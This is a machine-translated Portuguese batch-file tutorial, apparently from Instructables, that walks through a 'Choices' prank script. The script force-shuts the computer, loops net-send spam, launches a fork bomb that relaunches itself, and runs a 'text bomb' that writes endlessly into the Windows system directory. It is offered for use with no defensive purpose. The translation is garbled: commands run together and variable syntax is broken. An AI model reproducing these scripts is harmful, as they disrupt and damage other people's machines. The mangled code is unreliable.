Índice:

Tutorial em lote - realizar 2: 4 etapas
Tutorial em lote - realizar 2: 4 etapas

Vídeo: Tutorial em lote - realizar 2: 4 etapas

Vídeo: Tutorial em lote - realizar 2: 4 etapas
Vídeo: [ 2/4 ] - 🔩⚙Etapas de diseño e ingenieria dentro de la industria🔩⚙ 2024, Julho
Anonim
Tutorial em lote - 2ª etapa
Tutorial em lote - 2ª etapa

Ok, como eu disse em meu tutorial anterior sobre lote (https://www.instructables.com/id/EZ049TMM19EWPKGWKH/#CEINEJV64U3EWP86YUP), pretendo criar um tutorial expansivo de 3 partes (ou take) em lote. Que deve abranger a maior parte do que você precisa saber para fazer o que deseja com o lote. O arquivo anexado abaixo é o arquivo.bat (lote) competido feito por mim, laconix / inevitable_chaos

Etapa 1: Formatando Meu Texto, Títulos e Cls

Ok, para começar, vou mostrar o código;

@echo offtitle Choices.. [by laconix] clsecho Você tem algumas escolhas a fazer..echo..faça a escolha errada e sofrerá as consequências! echo.pause: menuclsecho.echo.echo.echo.echo. echo / ------------------------------ / echo / Escolha um número entre 1 e 3 / echo (- 1.. 2.. 3 -) echo / Todas as escolhas menos uma são ruins! / echo / ------------------------------ / title basicamente define o título para o prompt de comando, então title instructables.com é legal! cls apenas limpa o cmd de qualquer entrada ou saída. Você já deve saber o que echo faz, exceto echo. cria uma nova linha que é útil para a formatação.: menu embora eu tenha coberto isso em meu tutorial anterior, vale a pena revisar novamente, essencialmente, ele cria um ponto em um programa no qual você pode ir para a qualquer momento. O resto desta seção é apenas formatação.: D

Etapa 2: Inicializando Variáveis, Obtendo a Entrada do Usuário e a Instrução If

Mais uma vez, mostrarei o código e, em seguida, o explicarei;

set choice = nadaecho?.: O que será:.? set / p choice = Hein? clsif% choice% == 1 GOTO oneif% choice% == 2 GOTO twoif% choice% == 3 GOTO threemsg * Nem 1, 2 ou 3 eh? Que pena, tchau tchau..shutdown -s -f -t 00 definir choice = nada, o que isso está fazendo é criar ou inicializar a variável com o valor inicial ou "nada", ou nada.: D Uma variável é como um contêiner que armazena informações para você até que elas não sejam mais necessárias ou o programa feche. set / p choose =, é obter a entrada do usuário, usando o comando set com o argumento / p que informa ao comando para ter um promptstring. Então, basicamente defina / p escolha = qual número? é como fazer uma pergunta e eles digitarem a resposta. se a instrução if funcionar como tal. if condition == true dothisSo basicamente está dizendo que se% choice% é igual a 1 GOTO um é que não é verdade, ele simplesmente vai para a próxima linha. shutdown -s -f -t 00 apenas desliga o computador, forçando todos os programas a fecharem instantaneamente.

Etapa 3: Comando de tubulação, comandos assíncronos e variáveis ambientais

Novamente, código primeiro, explicação depois;

: onemsg * Então você escolheu # 1, pensou que deveria estar seguro? msg * ERRADO!: netspamnet send * laconix rules! GOTO netspam: twoshutdown -s -t 10pausemsg * Espero que você receba a tempo, porque este era o seguro … desligamento -aGOTO inferno: threemsg * Este é o número seguro … pausa: forkstart choices.bat | msg * Wipeout de memória! GOTO fork: hellmsg * piada, eles são todos ruins!: textbombecho laconix rules! >>% systemroot% / laconix.txtGOTO: textbomb: oneBasically apenas entra em um loop GOTO infinito. Muito semelhante ao exemplo 2 da fork bomb no primeiro tutorial.:two Execute o comando shutdown -s -t 10 "a pausa s, se eles não pressionarem uma tecla a tempo de desligar o computador, se conseguirem, aborta e os faz IR PARA o inferno: hellDiz a eles que nenhum deles era bom, faz o que eu chamo de uma bomba de texto. Que canaliza (>>) o comando echo laconix rules! ' para% systemroot% / laconix.txt em um / n loop GOTO infinito.% systemroot% é uma variável de ambiente que informa ao arquivo para salvar no diretório / windows / independentemente do nome da unidade raiz, ou seja, C; /, E: /, Z: /, et cetera: three Leva-os a pensar que é o número seguroVai para uma bomba bifurcada semelhante à do primeiro tutorial, mas com uma diferença principal. Comandos assíncronos; iniciar escolhas.bat | msg * Eliminação de memória ! o | denota comandos assíncronos, o que basicamente significa que eles foram executados ao mesmo tempo.

Etapa 4: What Up? Palavra

Obrigado por ler meu tutorial, espero que gostem do vídeo. Aprendi alguma coisa.

E eu espero que você continue interessado em computadores, e em meus instructables. Fique atento para o meu último tutorial desta série em breve!

Recomendado: